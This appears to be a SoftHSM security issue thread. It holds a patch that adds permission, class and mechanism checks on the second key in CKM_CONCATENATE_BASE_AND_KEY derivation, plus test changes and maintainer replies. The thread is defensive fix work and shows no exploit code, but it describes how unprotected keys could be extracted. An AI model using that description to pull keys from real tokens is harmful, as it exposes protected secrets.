index 08c30cc..c1ce091 100644
--- a/src/lib/SoftHSM.cpp
+++ b/src/lib/SoftHSM.cpp
@@ -14116,6 +14116,20 @@ CK_RV SoftHSM::deriveSymmetric
// Check the key handle.
otherKey = handleManager->getObject(*phOtherKey);
if (otherKey == NULL_PTR || !otherKey->isValid()) return CKR_OBJECT_HANDLE_INVALID;
+
+ // The second key is used with the mechanism as much as the base key:
+ // apply the same checks C_DeriveKey applies to the base key.
+ CK_RV rvOther = haveRead(session->getState(),
+ otherKey->getBooleanValue(CKA_TOKEN, false),
+ otherKey->getBooleanValue(CKA_PRIVATE, true));
+ if (rvOther != CKR_OK)
+ return rvOther;
+ if (otherKey->getUnsignedLongValue(CKA_CLASS, CKO_VENDOR_DEFINED) != CKO_SECRET_KEY)
+ return CKR_KEY_TYPE_INCONSISTENT;
+ if (!otherKey->getBooleanValue(CKA_DERIVE, false))
+ return CKR_KEY_FUNCTION_NOT_PERMITTED;
+ if (!isMechanismPermitted(otherKey, CKM_CONCATENATE_BASE_AND_KEY))
+ return CKR_MECHANISM_INVALID;
if (otherKey->getBooleanValue(CKA_PRIVATE, true)) {
bool bOK = token->decrypt(otherKey->getByteStringValue(CKA_VALUE), data);
if (!bOK) return CKR_GENERAL_ERROR;
diff --git a/src/lib/test/DeriveTests.cpp b/src/lib/test/DeriveTests.cpp
index 9438ac2..b91b94c 100644
--- a/src/lib/test/DeriveTests.cpp
+++ b/src/lib/test/DeriveTests.cpp
@@ -1064,6 +1064,14 @@ void DeriveTests::testMiscDerivations() {
mechanism.mechanism = CKM_CONCATENATE_BASE_AND_KEY;
mechanism.pParameter = &hAnotherKey;
mechanism.ulParameterLen = sizeof(hAnotherKey);
+
+ // The second key must be allowed to take part in a derivation
+ rv = CRYPTOKI_F_PTR( C_DeriveKey(hSessionRW, &mechanism, hKeyAes,
+ keyAttribs, 1, &hDerive) );
+ CPPUNIT_ASSERT(rv == CKR_KEY_FUNCTION_NOT_PERMITTED);
+ CK_ATTRIBUTE deriveAttrib = { CKA_DERIVE, &bTrue, sizeof(bTrue) };
+ rv = CRYPTOKI_F_PTR( C_SetAttributeValue(hSessionRW, hAnotherKey, &deriveAttrib, 1) );
+ CPPUNIT_ASSERT(rv == CKR_OK);
rv = CRYPTOKI_F_PTR( C_DeriveKey(hSessionRW, &mechanism, hKeyAes,
keyAttribs, 1, &hDerive) );
CPPUNIT_ASSERT(rv == CKR_OK);The existing DeriveTests::testMiscDerivations used a derived key with the default CKA_DERIVE = FALSE as its second key. The patch sets CKA_DERIVE on that key and adds an assertion that the call is refused without it.
With the patch: the policy reproducer returns CKR_MECHANISM_INVALID; the PoC is refused with CKR_KEY_FUNCTION_NOT_PERMITTED (AES victim, CKA_DERIVE = FALSE) and CKR_KEY_TYPE_INCONSISTENT (EC victim); every "second key" row of the scope table is refused (and the no-login variant: CKR_KEY_FUNCTION_NOT_PERMITTED); a second key with CKA_DERIVE = TRUE and the mechanism in its list still derives base || second; ctest -R p11test passes (HEAD 8791ac1 with the S1, S2 and S3 patches applied together, built with ML-DSA/ML-KEM/SLH-DSA; it also passes unpatched).
Whether to require CKA_DERIVE on the second key is a policy choice the spec does not make explicitly. Without it, only keys with a restrictive CKA_ALLOWED_MECHANISMS are protected, and keys with no list (the default) remain extractable. So we recommend keeping that check.
Activity
antoinelochet commentedon Nov 28, 2026
I think that you could push a PR with this patch and additional unit tests.
AlexLaroche commentedon Nov 29, 2026
Opened #942 with the patch and unit tests (
DeriveTests::testConcatenateBaseAndKeyChecks, plus thetestMiscDerivationsupdate). Both fail on current main and pass with the change.